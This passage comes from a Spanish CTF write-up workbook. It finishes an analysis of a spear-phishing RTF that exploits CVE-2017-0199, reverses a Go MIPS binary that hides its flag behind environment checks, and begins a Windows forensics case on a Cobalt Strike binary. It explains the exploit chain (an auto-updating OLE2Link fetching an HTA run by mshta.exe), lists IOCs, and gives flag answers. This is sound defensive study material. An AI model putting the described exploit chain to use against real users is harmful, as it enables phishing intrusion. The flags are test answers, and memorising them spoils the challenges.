   |          |CVE-2017-0199, CVE-2017-8570, CVE-2017-8759 or CVE-2018-8174)
```

```
   |          |Possibly an exploit for the OLE2Link vulnerability (VU#921560,
   |          |CVE-2017-0199)
   |          |URL extracted: http://dagobah.local/logo.doc
---+----------+-------------------------------------------------------------
```

Captura pendiente — guardar la captura de este paso como `capturas/spear-07.png` y recompilar.

Paso 8. Parte 2: URL exacta del URL Moniker

```
(kali@kali)-[~/ctf/spear]$
python3 $S/rtf_url.py Nominas.rtf
```

Salida esperada

```
objeto 0: URL Moniker en offset 0x83d, campo de 140 bytes
  URL exacta: 'http://dagobah.local/logo.doc'  (29 caracteres)
```

Se confirma byte a byte que la URL no tiene espacios ni caracteres invisibles.

Captura pendiente — guardar la captura de este paso como `capturas/spear-08.png` y recompilar.

Paso 9. Flags en MD5

```
(kali@kali)-[~/ctf/spear]$
echo -n "CVE-2017-0199" | md5sum; echo -n "http://dagobah.local/logo.doc" | md5sum
```

Salida esperada

```
93b146d21d3bdc8635836f8a11ba62b9  -
fb7534ecc904766563ad711331a11121  -
```

Parte 1: `flag{93b146d21d3bdc8635836f8a11ba62b9}` (validada). **Parte 2:** `flag{fb7534ecc904766563ad711331a11121}`.

Captura pendiente — guardar la captura de este paso como `capturas/spear-09.png` y recompilar.

5.6. Resultado

Parte 1: CVE (validada)

`flag{93b146d21d3bdc8635836f8a11ba62b9}`

Parte 2: URL dañina

`flag{fb7534ecc904766563ad711331a11121}`

Valores: `CVE-2017-0199` y `http://dagobah.local/logo.doc`. Si la plataforma no aceptara la URL completa, las variantes son `dagobah.local/logo.doc` (`39187b419652a52cb5bca8ed2d8952c7`) y `dagobah.local` (`d19e4c1cde7f30c64aadd9b2aff5cf49`).

5.7. Cómo funciona CVE-2017-0199

1. La víctima abre `Nominas.rtf` con Word.
2. `\objupdate` obliga a Word a actualizar el objeto enlazado sin pedir confirmación.

3. El objeto `OLE2Link` (`StdOleLink`, CLSID `00000300-0000-0000-C000-000000000046`) usa un *URL Moniker* (`79EAC9E0-BAF9-11CE-8C82-00AA004BA90B`) para descargar `http://dagobah.local/logo.doc`.
4. El servidor responde con `Content-Type: application/hta`. Aunque la extensión sea `.doc`, Windows entrega el contenido al manejador de HTA, `mshta.exe`, que ejecuta el VBScript/JScript incrustado.
5. El script descarga e instala la carga final. Todo ocurre al abrir el documento, sin macros.

5.8. Descarte de CVE similares

`rtfobj` avisa de que `OLE2Link` también aparece en otras vulnerabilidades; cada una deja una huella distinta que no está en este fichero:

CVE	Rasgo característico	¿Presente?
CVE-2017-8570	*Composite Moniker* + scriptlet `.sct`	No
CVE-2017-8759	`soap:wsdl=` (moniker SOAP de .NET)	No
CVE-2018-8174	VBScript "Double Kill"	No
CVE-2017-0199	**URL Moniker a un HTA vía `OLE2Link`**	**Sí**

5.9. Indicadores de compromiso (IOC)

Fichero	`Nominas.rtf`, MD5 `799417ddacb87275c7121e1620415be3`
URL	`http://dagobah.local/logo.doc`
Dominio	`dagobah.local` (red interna)
Firma RTF	`\objautlink`, `\objupdate`, `OLE2Link` (`4f4c45324c696e6b`)
CLSID	URL Moniker `{79EAC9E0-BAF9-11CE-8C82-00AA004BA90B}`

5.10. Técnicas observadas (MITRE ATT&CK)

T1566.001	*Spearphishing Attachment*: correo dirigido con un adjunto de "nóminas".
T1204.002	*User Execution: Malicious File*: basta con que la víctima abra el documento.
T1203	*Exploitation for Client Execution*: CVE-2017-0199 en Office.
T1218.005	*System Binary Proxy Execution: Mshta*: el HTA se ejecuta con `mshta.exe`.
T1105	*Ingress Tool Transfer*: descarga de la carga desde la URL.

5.11. Contexto: ¿por qué se llama así?

- **Spear phishing** es el phishing "con arpón": dirigido a una organización o persona concreta, con un cebo creíble. "**Can you catch me?**" juega con el doble sentido de *phishing* (pescar) y *catch* (atrapar), y recuerda a *Catch Me If You Can*, la historia del estafador Frank Abagnale.
- **Nóminas**: uno de los cebos más eficaces; casi nadie resiste abrir un documento sobre sueldos.
- **Dagobah** es el planeta pantanoso de *Star Wars* donde Yoda vive escondido. El atacante también se esconde, en un servidor de la red interna (`.local`).
- **CVE-2017-0199** fue un *0-day* detectado en abril de 2017 (FireEye y McAfee) y parcheado el 11 de abril de 2017. Grupos como APT28 o APT34 y campañas de Dridex lo usaron durante años; este documento es de septiembre de 2017, cuando seguía siendo muy explotado.

5.12. Conclusión

Un documento "vacío" no es inofensivo: todo el ataque está en un objeto enlazado. Detectarlo requiere mirar la estructura del fichero (`rtfobj`), no su contenido visible. Mitigaciones: parchear Office, bloquear objetos OLE en RTF y limitar `mshta.exe`.

6. Reversing: Go go go!

6.1. Ficha del reto

Categoría	Reversing (Linux, Go, MIPS)
Dificultad	3/5
Contraseña	`infected` (zip)
Objetivo	Obtener la flag del binario
Herramientas	`7z`, `readelf`, `strings`, Python (`pyelftools`, `capstone`, `pycryptodome`), `qemu-mips` (opcional)

6.2. Enunciado

Obtén el flag del siguiente binario. NOTA: el password del zip es infected.

6.3. Ficheros analizados

Fichero	Bytes	Descripción
`LetsGo.zip`	876.630	Zip cifrado del enunciado
	`MD5 f6446fe1d43ecf9b26a6806d13528d11 SHA1 2bba2aab0e4c48737a14df3437680eb4337aea76`	
	`SHA256 0924dbe83330f60038bf9c5b67c8868b2f1e198c70224c15517353a6730d267c`	
`LetsGo`	2.263.808	ELF 32 bits MIPS big-endian, Go 1.10.3, *stripped*
	`MD5 235991ea447e7406d1c3904eada80097 SHA1 9e431b6c6f703291c0923dd3c821f899a0af79e8`	
	`SHA256 423731919505daa47277b6b7d0d499c0efa0369c49f995ce4f1608f7b5892fea`	

6.4. Resumen del análisis

1. `LetsGo` es un ELF de 32 bits para **MIPS big-endian**, escrito en Go 1.10.3 y sin símbolos.
2. La tabla `.gopclntab` conserva los nombres de las funciones; un parser propio los recupera.
3. `main.main` (desensamblado con Capstone) solo revela la flag si el kernel contiene `4.14.0`, hay exactamente **3 CPUs** y el sistema es `linux`. Por eso, al ejecutarlo, no imprime nada.
4. Usa la tercera de tres claves casi iguales (`1KH1hbO01YO9olUo`) para descifrar con AES-128-CFB una cadena Base64-URL. Se descifra directamente en Python sin ejecutar el binario.

6.5. Procedimiento paso a paso

Paso 1. Preparar la carpeta y extraer

Se usan comillas simples en la ruta: en `zsh` un `!` entre comillas dobles provoca expansión de historial.

```
(kali@kali)-[~]$
mkdir -p ~/ctf/gogogo && cd ~/ctf/gogogo && cp \
  ~/ctf/retos/'Reversing Go go go!'/LetsGo-*.zip LetsGo.zip && md5sum LetsGo.zip && 7z x \
  -y -pinfected LetsGo.zip | tail -3
```

Salida esperada

```
f6446fe1d43ecf9b26a6806d13528d11  LetsGo.zip

Size:       2263808
Compressed: 876630
```

Captura pendiente — guardar la captura de este paso como `capturas/go-01.png` y recompilar.

Paso 2. Tipo de binario

```
(kali@kali)-[~/ctf/gogogo]$
file LetsGo && md5sum LetsGo && readelf -h LetsGo | grep -E 'Class|Data|Machine|Entry'
```

Salida esperada

```
LetsGo: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID
    ↪ =sfhqOhnt3GKO5ZxcfeUj/SBhFt-HoqAis9tYiBDh3/mTANZGQwwTBKudzVtd4C/wibtVeoI1L7toIwooYa9,
    ↪ stripped
235991ea447e7406d1c3904eada80097  LetsGo
  Class:                             ELF32
  Data:                              2's complement, big endian
  Machine:                           MIPS R3000
  Entry point address:               0x70f40
```

ELF de 32 bits **MIPS big-endian** (arquitectura de routers/IoT), estático, Go, *stripped*.

Captura pendiente — guardar la captura de este paso como `capturas/go-02.png` y recompilar.

Paso 3. Versión de Go y secciones

```
(kali@kali)-[~/ctf/gogogo]$
strings -n 6 LetsGo | grep -oE 'go1\.[0-9]+\.[0-9]+' | sort -u && readelf -S LetsGo | \
  grep -E 'text|rodata|gopclntab'
```

Salida esperada

```
go1.10.3
  [ 1] .text             PROGBITS        00011000 001000 1095bc 00  AX  0   0  4
  [ 2] .rodata           PROGBITS        00120000 110000 04ce1e 00   A  0   0 32
  [ 7] .gopclntab        PROGBITS        0016de40 15de40 064f32 00   A  0   0 32
```

Aunque esté *stripped*, Go conserva `.gopclntab` con los nombres de todas las funciones.

Captura pendiente — guardar la captura de este paso como `capturas/go-03.png` y recompilar.

Paso 4. Funciones del paquete main (desde .gopclntab)

```
(kali@kali)-[~/ctf/gogogo]$
python3 $S/go_pclntab.py LetsGo main. | grep -v runtime
```

Salida esperada

```
0x00119908 0x00119918 main.PCCKsmOSrmbDMUGqoFINVL
0x00119918 0x0011992c main.quKuchsVvIEUGZDKOxl
0x0011992c 0x001199ac main.FWPmCP
0x001199ac 0x00119a58 main.addBase64Padding
0x00119a58 0x00119ae0 main.removeBase64Padding
0x00119ae0 0x00119c1c main.Pad
0x00119c1c 0x00119ec0 main.encrypt
0x00119ec0 0x0011a4d8 main.main
0x0011a4d8 0x0011a5bc main.init
```

Además de `encrypt`/`Pad`/`addBase64Padding` hay tres funciones con nombres ofuscados.

Captura pendiente — guardar la captura de este paso como `capturas/go-04.png` y recompilar.

Paso 5. Librerías de terceros y crypto usadas

```
(kali@kali)-[~/ctf/gogogo]$
python3 $S/go_pclntab.py LetsGo | grep -E -e 'goInfo\.GetInfo$' \
  -e 'go-figure\.NewFigure$' -e 'figure\.Print$' -e 'aes\.NewCipher$' \
  -e 'NewCFBDecrypter$' -e 'base64.*Encoding.*DecodeString$'
```

Salida esperada

```
0x00082efc 0x00082f80 crypto/cipher.NewCFBDecrypter
0x0008e980 0x0008ea68 crypto/aes.NewCipher
0x000d8828 0x000d8980 encoding/base64.(*Encoding).DecodeString
0x000defa4 0x000df34c github.com/matishsiao/goInfo.GetInfo
0x0010a3dc 0x0010a52c github.com/common-nighthawk/go-figure.NewFigure
0x0010b478 0x0010b584 github.com/common-nighthawk/go-figure.figure.Print
```

Captura pendiente — guardar la captura de este paso como `capturas/go-05.png` y recompilar.

Paso 6. Cadenas sospechosas

```
(kali@kali)-[~/ctf/gogogo]$
strings -n 16 LetsGo | grep -oE -e 'wD5q[A-Za-z0-9_-]{60}' -e '1KH1hb001Y09olU.' \
  -e dwnoDlybPWZTYRdbFpit -e Xa22SKeyAll1aadf1 -e 'GoOS:%v[A-Za-z:%v,]*CPUs:%v' | sort \
  -u
```

Salida esperada

```
1KH1hb001Y09olU1
1KH1hb001Y09olU2
1KH1hb001Y09olUo
GoOS:%v,Kernel:%v,Core:%v,Platform:%v,OS:%v,Hostname:%v,CPUs:%v
Xa22SKeyAll1aadf1
dwnoDlybPWZTYRdbFpit
wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqkSQ_F7F6FYhFyD4Ha
wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqkSQ_F7F6FYhFyD4Hk
```

Captura pendiente — guardar la captura de este paso como `capturas/go-06.png` y recompilar.

Paso 7. Ejecución emulada: no imprime nada

Opcional. Se ejecuta con `qemu-user` (emulación de MIPS en espacio de usuario). El análisis estático no muestra acciones dañinas, pero hágase en la VM desechable.

```
(kali@kali)-[~/ctf/gogogo]$
chmod +x LetsGo && qemu-mips ./LetsGo; echo "codigo de salida: $?"
```

Salida esperada

```
codigo de salida: 0
```

> No muestra nada: el binario comprueba el entorno antes de revelar la flag.

Captura pendiente — guardar la captura de este paso como `capturas/go-07.png` y recompilar.

Paso 8. Desensamblar main.main (MIPS, Capstone)

```
(kali@kali)-[~/ctf/gogogo]$
python3 $S/go_mips_disasm.py LetsGo main.main > main_main.txt && wc -l main_main.txt && \
  grep -E 'jal|"' main_main.txt | cut -c1-105
```

Salida esperada

```
392 main_main.txt
0x119ed8: jal      0x6e6a8   ; -> runtime.morestack_noctxt
0x119ef0: jal      0xdefa4   ; -> github.com/matishsiao/goInfo.GetInfo
0x119f14: addiu    $v0, $v0, 0x13cc   ; 0x1513cc "4.14.0<-
    ↪ chanArabicAugustBrahmiCarianChakmaCommon"
0x119f24: jal      0xc4df8   ; -> strings.Contains
0x119f4c: addiu    $v1, $v1, 0x3534   ; 0x153534 "1
    ↪ KH1hb001Y09olU21KH1hb001Y09olUo2384185791015625"
0x119f5c: jal      0x5ccb4   ; -> runtime.stringtoslicebyte
0x119f84: addiu    $a0, $a0, 0x3524   ; 0x153524 "1
    ↪ KH1hb001Y09olU11KH1hb001Y09olU21KH1hb001Y09olUo"
0x119f94: jal      0x5ccb4   ; -> runtime.stringtoslicebyte
0x119fc0: addiu    $a0, $a0, 0x3544   ; 0x153544 "1KH1hb001Y09olUo2384185791015625lineoblique.
    ↪ flf"
0x119fd0: jal      0x5ccb4   ; -> runtime.stringtoslicebyte
0x119ff0: jal      0x8e980   ; -> crypto/aes.NewCipher
0x11a03c: jal      0x49588   ; -> runtime.newproc
0x11a048: addiu    $at, $at, -0x634f   ; 0x159cb1 "
    ↪ wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqk"
0x11a058: jal      0x1199ac   ; -> main.addBase64Padding
0x11a07c: jal      0xd8828   ; -> encoding/base64.(*Encoding).DecodeString
0x11a0ec: jal      0x82efc   ; -> crypto/cipher.NewCFBDecrypter
0x11a14c: jalr     $at
0x11a1e8: addiu    $at, $at, 0x1289   ; 0x151289 "linuxlo   open panicpc   pipe2r0   r1   r10
    ↪ r11"
0x11a1f8: jal      0xc4df8   ; -> strings.Contains
0x11a22c: jal      0x5cb20   ; -> runtime.slicebytetostring
0x11a254: jal      0x10a3dc   ; -> github.com/common-nighthawk/go-figure.NewFigure
0x11a2ac: jal      0x10b478   ; -> github.com/common-nighthawk/go-figure.figure.Print
0x11a2c0: jal      0xbb370   ; -> fmt.Println
0x11a2f4: addiu    $at, $at, -0x638f   ; 0x159c71 "
    ↪ wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqk"
0x11a318: jal      0x49588   ; -> runtime.newproc
0x11a328: jal      0xdea80   ; -> github.com/matishsiao/goInfo.(*GoInfoObject).VarDump
0x11a34c: jal      0x49588   ; -> runtime.newproc
0x11a3ac: addiu    $at, $at, -0x638f   ; 0x159c71 "
    ↪ wD5qPxNCP5yKQaYC7MzpWTNmZRQctNbaDCoJqGDSBkNjzwqk"
0x11a3d0: jal      0x49588   ; -> runtime.newproc
0x11a3fc: addiu    $at, $at, 0x3a45   ; 0x153a45 "Xa22SKeyAll1aadf1bad TinySizeClasscorrupt zip
    ↪ fi"
0x11a420: jal      0x49588   ; -> runtime.newproc
0x11a444: jal      0x49588   ; -> runtime.newproc
0x11a470: jal      0x49588   ; -> runtime.newproc
0x11a4a8: jal      0x3c6bc   ; -> runtime.panicslice
0x11a4b4: jal      0x3c640   ; -> runtime.panicindex
0x11a4c0: jal      0x3c6bc   ; -> runtime.panicslice
0x11a4cc: jal      0x3c6bc   ; -> runtime.panicslice
```

Llamadas anotadas con su nombre y cadenas referenciadas: secuencia completa del programa.

Captura pendiente — guardar la captura de este paso como `capturas/go-08.png` y recompilar.

Paso 9. Condición 1: kernel que contenga 4.14.0

```
(kali@kali)-[~/ctf/gogogo]$
awk '/0x119ef0/,/0x119f34/' main_main.txt
```

Salida esperada

```
0x119ef0: jal      0xdefa4  ; -> github.com/matishsiao/goInfo.GetInfo
0x119ef4: nop
0x119ef8: lw       $at, 4($sp)
0x119efc: sw       $at, 0xcc($sp)
0x119f00: lw       $v0, 0x10($at)
0x119f04: lw       $v1, 0x14($at)
0x119f08: sw       $v0, 4($sp)
0x119f0c: sw       $v1, 8($sp)
0x119f10: lui      $v0, 0x15
0x119f14: addiu    $v0, $v0, 0x13cc  ; 0x1513cc "4.14.0<-
    ↪ chanArabicAugustBrahmiCarianChakmaCommon"
0x119f18: sw       $v0, 0xc($sp)
0x119f1c: addiu    $v0, $zero, 6
0x119f20: sw       $v0, 0x10($sp)
0x119f24: jal      0xc4df8  ; -> strings.Contains
0x119f28: nop
0x119f2c: lbu      $at, 0x14($sp)
0x119f30: beqz     $at, 0x11a498
0x119f34: nop
```

Captura pendiente — guardar la captura de este paso como `capturas/go-09.png` y recompilar.

Paso 10. Clave real (la tercera) y llamada a aes.NewCipher

```
(kali@kali)-[~/ctf/gogogo]$
awk '/0x119fb4/,/0x11a008/' main_main.txt
```

Salida esperada

```
0x119fb4: addiu    $a0, $sp, 0x94
0x119fb8: sw       $a0, 4($sp)
0x119fbc: lui      $a0, 0x15
0x119fc0: addiu    $a0, $a0, 0x3544  ; 0x153544 "1KH1hb001Y09olUo2384185791015625 5lineoblique.
    ↪ flf"
0x119fc4: sw       $a0, 8($sp)
0x119fc8: addiu    $a0, $zero, 0x10
0x119fcc: sw       $a0, 0xc($sp)
0x119fd0: jal      0x5ccb4  ; -> runtime.stringtoslicebyte
0x119fd4: nop
0x119fd8: lw       $at, 0x14($sp)
0x119fdc: lw       $v0, 0x10($sp)
0x119fe0: lw       $v1, 0x18($sp)
0x119fe4: sw       $v0, 4($sp)
0x119fe8: sw       $at, 8($sp)
0x119fec: sw       $v1, 0xc($sp)
0x119ff0: jal      0x8e980  ; -> crypto/aes.NewCipher
0x119ff4: nop
0x119ff8: lw       $at, 0x10($sp)
0x119ffc: lw       $v0, 0x14($sp)
0x11a000: lw       $v1, 0x18($sp)
0x11a004: bnez     $v1, 0x11a488
0x11a008: nop
```

Solo el *slice* de `1KH1hb001Y09olUo` (0x153544) llega a `aes.NewCipher`; las otras dos claves son señuelos.

Captura pendiente — guardar la captura de este paso como `capturas/go-10.png` y recompilar.

Paso 11. Condición 2: número de CPUs (switch 2 / 8 / 3)

```
(kali@kali)-[~/ctf/gogogo]$
awk '/0x11a154/,/0x11a178/' main_main.txt
```

Salida esperada

```
0x11a154: lw       $at, 0x70($sp)
0x11a158: xori     $v0, $at, 2
0x11a15c: beqz     $v0, 0x11a3e0
0x11a160: nop
0x11a164: xori     $v0, $at, 8
0x11a168: beqz     $v0, 0x11a390
0x11a16c: nop
0x11a170: xori     $at, $at, 3
0x11a174: bnez     $at, 0x11a2c8
0x11a178: nop
```

`CPUs==2` y `CPUs==8` lanzan goroutines señuelo; `CPUs!=3` sale; solo con 3 CPUs (y SO `linux`) se imprime la flag.

Captura pendiente — guardar la captura de este paso como `capturas/go-11.png` y recompilar.

Paso 12. Descifrar AES-128-CFB con las tres claves

```
(kali@kali)-[~/ctf/gogogo]$
python3 $S/go_decrypt.py
```

Salida esperada

```
1KH1hb001Y09olUo -> b'Flag: RobPike2009' (PKCS7 OK)
1KH1hb001Y09olU1 -> b'\xd87tw\xc3\xa6Z\xa4\xa1\x8e\xcfN\xfbH\\\xc2+\xec\x16V\x86h)]\xb9\xd8\
    ↪ xcet\x84\xf0\x8a\x93'
1KH1hb001Y09olU2 -> b'\xc1\xa5=Y\x07\xe0tE\xde\t\x81ql\xc28\xf4\x8a\xbbHeS\xe1\x97/\xfd\xa35\
    ↪ xf6\x89\xc6"\xd1'
```

Solo la clave terminada en `o` da texto con relleno PKCS#7 válido.

Captura pendiente — guardar la captura de este paso como `capturas/go-12.png` y recompilar.

Paso 13. Flag en MD5

```
(kali@kali)-[~/ctf/gogogo]$
echo -n "RobPike2009" | md5sum
```

Salida esperada

```
f389c15c0ea41f12e53806fba659e2fb  -
```

Flag: `flag{f389c15c0ea41f12e53806fba659e2fb}`.

Captura pendiente — guardar la captura de este paso como `capturas/go-13.png` y recompilar.

6.6. Resultado

Flag de Go go go!

`flag{f389c15c0ea41f12e53806fba659e2fb}`

Texto descifrado: `Flag: RobPike2009` (relleno PKCS#7 de 15 bytes `0x0f`, que confirma la clave).

6.7. Flujo de `main.main`

1. `goInfo.GetInfo()` recoge SO, kernel, núcleo, plataforma, *hostname* y CPUs (cadena de formato `GoOS:%v, Kernel:%v, ...`).
2. Si `Kernel` no contiene `4.14.0` → termina sin decir nada.
3. Convierte a *slice* las tres claves `1KH1hb001Y09olU2`, `1KH1hb001Y09olU1` y `1KH1hb001Y09olUo`; solo la tercera llega a `aes.NewCipher`.
4. Decodifica `wD5q...D4Hk` (Base64-URL, 64 caracteres = 48 bytes): IV = 16 primeros bytes; resto = 32 bytes cifrados. Descifra con `cipher.NewCFBDecrypter`.
5. `switch CPUs`: con 2 u 8 lanza goroutines que cifran cadenas señuelo; con un valor distinto de 3 termina.
6. Con 3 CPUs quita el relleno, comprueba que el SO contenga `linux` y dibuja la flag en ASCII-art con `go-figure`; si no, vuelca la información del sistema (`VarDump`).

6.8. Señuelos

`1KH1hb001Y09olU1`, `...U2`	Claves casi idénticas a la real que producen basura.
`wD5q...D4Ha`	Cadena casi idéntica a la real (cambia el último carácter), usada por las goroutines.
`Xa22SKeyAll1aadf1`	Cadena con aspecto de clave para la goroutine del caso 2 CPUs.
`dwnoDlybPWZTYRdbFpit` + `SAgpdWyEhTjWmAmqBNaBgPJv`	Concatenadas por `main.FWPmCP`; no llegan a usarse para la flag.
Nombres ofuscados	`main.FWPmCP`, `main.PCCKsmOSrmbDMUGqoFINVL`, `main.quKuchsVvIEUGZDKOxl`.

6.9. Técnicas observadas (MITRE ATT&CK)

T1480.001	*Execution Guardrails: Environmental Keying*: el secreto solo se revela con kernel 4.14.0, 3 CPUs y Linux.
T1497.001	*Virtualization/Sandbox Evasion: System Checks*: comprobaciones del entorno antes de actuar.
T1082	*System Information Discovery*: `goInfo.GetInfo`.
T1027	*Obfuscated Files or Information*: cadena cifrada, claves señuelo y nombres de funciones ofuscados.
T1140	*Deobfuscate/Decode Files or Information*: Base64 + AES-CFB en tiempo de ejecución.

6.10. Contexto: ¿por qué se llama así?

- **"Go go go!" / "LetsGo"**: juego de palabras con el nombre del lenguaje **Go**.
- **Rob Pike** es uno de los tres creadores de Go en Google, junto con Robert Griesemer y Ken Thompson (diseño iniciado en 2007). Antes trabajó en Bell Labs en Unix y Plan 9 y co-diseñó UTF-8 con Ken Thompson. Go se presentó públicamente el **10 de noviembre de 2009**. "RobPike2009" es, por tanto, el creador y el año de nacimiento público del lenguaje.
- **Go + MIPS** es una combinación muy habitual en el malware IoT actual: Go genera binarios estáticos que se compilan fácilmente para routers y cámaras.

6.11. Conclusión

Los binarios Go *stripped* siguen siendo analizables gracias a `.gopclntab`. El *environmental keying* hace inútil el análisis dinámico ingenuo; el estático revela las condiciones y permite descifrar la flag sin recrear el entorno.

7. H0rr0crux

7.1. Ficha del reto

Categoría	Forense de Windows (post-incidente)
Dificultad	1/5 (125 puntos)
Objetivo	MD5 del binario dañino responsable de las conexiones (`flag{<md5_binario>}`)
Herramientas	`7z`, `sccainfo`, `esedbexport`, Python (`regipy`, `python-evtx`, `pefile`), `strings`, VirusTotal API v3

7.2. Enunciado

Nuestros compañeros del SOC nos han avisado de que cierta máquina ha realizado conexiones sospechosas que podrían estar relacionadas con el malware Gozi. Tras recoger evidencias se ha restaurado el equipo. Necesitamos identificar el binario dañino responsable de las conexiones. Objetivo: proporciona el MD5 del binario dañino (flag{<md5_binario>}).

7.3. Ficheros analizados

Fichero	Bytes	Descripción
`evidencias.7z`	870.091.187	Evidencias (`evidencias_sorvologaunt.7z`)
`MD5 130decf0165501e8e53148035b057bd5 SHA1 a3358d79b6b24bd2afb5267a6bbe8672fd0613b6`		
`SHA256 6c22662a21bcaf8b65b581982cd5e6f91448a01d6cf94ff13d3ba4b87ae97d25`		
`$MFT`	274.726.912	Tabla maestra de ficheros NTFS
`MD5 c459b43cb57b7def4fadea9ab9956df8 SHA1 9497dd5ba3c2f2f386e396261369953caca0a146`		
`SHA256 93414c4a3846e6051f58a61a8bba1d2302fd8378a24641ebe42df007e2840525`		
`Amcache.hve`	1.310.720	Inventario de ejecutables (SHA1)
`MD5 7f52560258a724d588e4ee11b71121ce SHA1 08bb35413d6854b6ce06a56af4464772cd7e86d7`		
`SHA256 c0bd392e9ebc80ffcac1c2fd75040422c3f2c9f5e284746fd919417ee869f136`		
`SRUDB.dat`	1.966.080	Base de datos SRUM
`MD5 b7ce9444d2c0da0211690ee84bc68d13 SHA1 7e59d0650fbb9747c6d3f05a68045a6db7af9cba`		
`SHA256 642677b6358a331f8d41829810a18a7f3b95b8c4fc2d0734a14220dc177743bc`		
`ntuser.dat.LOG2`	327.680	Log de transacciones del registro de Gregor
`MD5 544d0ff1a0998785f826a473b8a78388 SHA1 77e9e22a3090565b7803f390a86a870af3087c5e`		
`SHA256 da927fcf41e39f64b500a777b629bce3775457e6c8bb404149c81cc893a1902b`		
`uninstall.exe`	86.528	Señuelo: PE Look renombrado
`MD5 ea74a438b1303c96335f5f253b4bf045 SHA1 b80a51f46b601e178180a70fa548bce4f62fea95`		
`SHA256 d6a19c9cc67eb418ee112094ba2f757a80e65ecf63d85456981378a698ac7963`		
`httpd.exe (borrado)`	15.360	**Binario malicioso** (Cobalt Strike). SHA1 de Amcache, MD5 de VirusTotal
`MD5 dbe0e10775e35a58e8ff463ccbe5f7d8 SHA1 409aea9461d03bff3e006d3e7e7c4790a0862170`		
`SHA256 (no disponible: fichero borrado)`		
`tor.exe (borrado)`	231.936	Señuelo (`tag_converter.exe`)
`MD5 3e6f1f16a4cbbf7c5a5c077ab197bb50 SHA1 99e107ca419959385ca57241fb6ed3796eaacc9e`		
`SHA256 (no disponible: fichero borrado)`		

Fichero	Bytes	Descripción
`inject.exe (borrado)`	226.304	Señuelo detectado por Defender
`MD5 (no está en VirusTotal)`	`SHA1 de275b64985009d335ab85b38d26a3026739a68a`	
`SHA256 (no disponible: fichero borrado)`		

7.4. Resumen del análisis

1. La evidencia es una adquisición tipo KAPE del equipo `DESKTOP-VK0V8TR` (usuario **Gregor**, VM de VirtualBox): `$MFT`, `$LogFile`, Amcache, SRUM, 247 Prefetch, 141 `.evtx`, logs del registro.
2. Prefetch y Amcache muestran varios ejecutables sospechosos; la mayoría resultan ser **señuelos**: `inject.exe` (nunca arrancó), `runas.exe` (= SDelete), `uninstall.exe` (= PE Look), VMProtect y un `tor.exe` falso.
3. **SRUM** (uso de red por aplicación) atribuye tráfico a un único binario sospechoso: `C:\Users\Gregor\AppData\Roaming\Microsoft\Windows\httpd.exe`, que se hace pasar por un componente de Microsoft.
4. La `$MFT` prueba que llegó por *drag & drop* desde el anfitrión y que se colgó dos veces; el fichero fue borrado (SDelete) y los logs de Windows recortados (`wevtutil`).
5. Amcache conserva su **SHA1**; VirusTotal lo identifica como **Cobalt Strike** (61 detecciones) y da su **MD5**.

7.5. Procedimiento paso a paso

Paso 1. Preparar la carpeta y verificar la evidencia

```
(kali@kali)-[~]$
mkdir -p ~/ctf/horcrux && cd ~/ctf/horcrux && cp \
  ~/ctf/retos/H0rr0crux/evidencias_sorvologaunt*.7z evidencias.7z && md5sum \
  evidencias.7z
```

Salida esperada

```
130decf0165501e8e53148035b057bd5  evidencias.7z
```

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-01.png` y recompilar.

Paso 2. Contenido del 7z

```
(kali@kali)-[~/ctf/horcrux]$
7z l evidencias.7z | tail -3
```

Salida esperada

```
2019-12-06 21:29:00 ....A        11264               Windows/write.exe
------------------- ----- ------------ -------------  ------------------------
2022-03-02 14:39:45         2610779217    869868174  17550 files, 2120 folders
```

17.550 ficheros y 2,6 GB sin comprimir.

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-02.png` y recompilar.

Paso 3. Extraer (tarda unos minutos)

```
(kali@kali)-[~/ctf/horcrux]$
7z x -y evidencias.7z -oevid | tail -4 && ls evid
```

Salida esperada

```
Folders: 2120
Files: 17550
Size:       2610779217
Compressed: 870091187
$AttrDef
$BadClus
$Bitmap
$Boot
$I30
$LogFile
$MFT
$MFTMirr
$Secure
Users
Windows
```

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-03.png` y recompilar.

Paso 4. Qué artefactos hay

```
(kali@kali)-[~/ctf/horcrux]$
ls evid/Windows/appcompat/Programs evid/Windows/System32/sru evid/Users/Gregor | head \
  -30; ls evid/Windows/Prefetch | wc -l; ls evid/Windows/System32/winevt/Logs | wc -l
```

Salida esperada

```
evid/Users/Gregor:
$I30
$TXF_DATA
3D Objects
AppData
Configuración local
Contacts
Cookies
Datos de programa
Entorno de red
Impresoras
Menú Inicio
Mis documentos
NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TM.blf
NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms
NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000002.regtrans-ms
OneDrive
Plantillas
Reciente
Searches
SendTo
ntuser.dat.LOG1
ntuser.dat.LOG2
ntuser.ini

evid/Windows/System32/sru:
$I30
SRU.chk
SRU.log
```

```
SRU00017.log
288
151
```

Adquisición tipo KAPE: `$MFT`, `$LogFile`, Amcache, SRUM, Prefetch, 141 logs `.evtx` y los logs de transacciones del registro del usuario **Gregor**.

Captura pendiente — guardar la captura de este paso como `capturas/horcrux-04.png` y recompilar.

Paso 5. Prefetch con nombres sospechosos

```
(kali@kali)-[~/ctf/horcrux]$
ls evid/Windows/Prefetch | grep -iE -e inject -e packed -e vmprotect -e 'tor\.exe' \
  -e runas -e fodhelper -e wevtutil -e taskkill -e '^sc\.exe' -e ftk -e hxd -e httpd
```

Salida esperada

```
BYTECODEGENERATOR.EXE-C1E9BCE6.pf
FODHELPER.EXE-8ECD01E5.pf
FTK IMAGER.EXE-1B23CEFA.pf
FTK.EXE-0DC36F5E.pf
FTK.EXE-9D1677E8.pf
FTKEXE~2.PF.copy0
FTKIMA~1.PF.copy0
HXD.EXE-1E343919.pf
INJECT.EXE-0732FB73.pf
PACKED.TMP-461CF410.pf
PACKED.TMP-952A2D31.pf
RUNAS.EXE-D9FE023F.pf
SC.EXE-945D79AE.pf
TASKKILL.EXE-8F5B2253.pf
TOR.EXE-A3D112C0.pf
